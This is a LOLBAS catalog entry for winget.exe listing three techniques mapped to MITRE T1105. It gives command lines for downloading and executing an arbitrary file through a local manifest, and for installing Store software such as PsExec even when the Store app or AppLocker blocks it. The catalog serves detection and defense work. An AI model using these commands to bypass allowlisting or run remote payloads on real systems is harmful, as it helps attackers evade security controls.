Catalog LOLBAS

LOL · Binary

winget.exe

3 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: `winget settings --enable LocalManifestFiles`

Use Download and execute an arbitrary file from the internet

winget.exe install --manifest {PATH:.yml}
Context
admin
Native
Execute
MITRE
T1105

Download

File Download Windows

Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use "Sysinternals Suite" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

Use Download and install software from Microsoft Store, even if Microsoft Store App is blocked

winget.exe install --accept-package-agreements -s msstore {name or ID}
Context
user
Native
Download
MITRE
T1105

AWL Bypass

AWL / Policy Bypass Windows

Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine, and even if AppLocker is active on the machine. For example, use "Sysinternals Suite" or `9p7knl5rwt25` for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

Use Download and install software from Microsoft Store, even if Microsoft Store App is blocked, and AppLocker is activated on the machine

winget.exe install --accept-package-agreements -s msstore {name or ID}
Context
user
Native
AWL Bypass
MITRE
T1105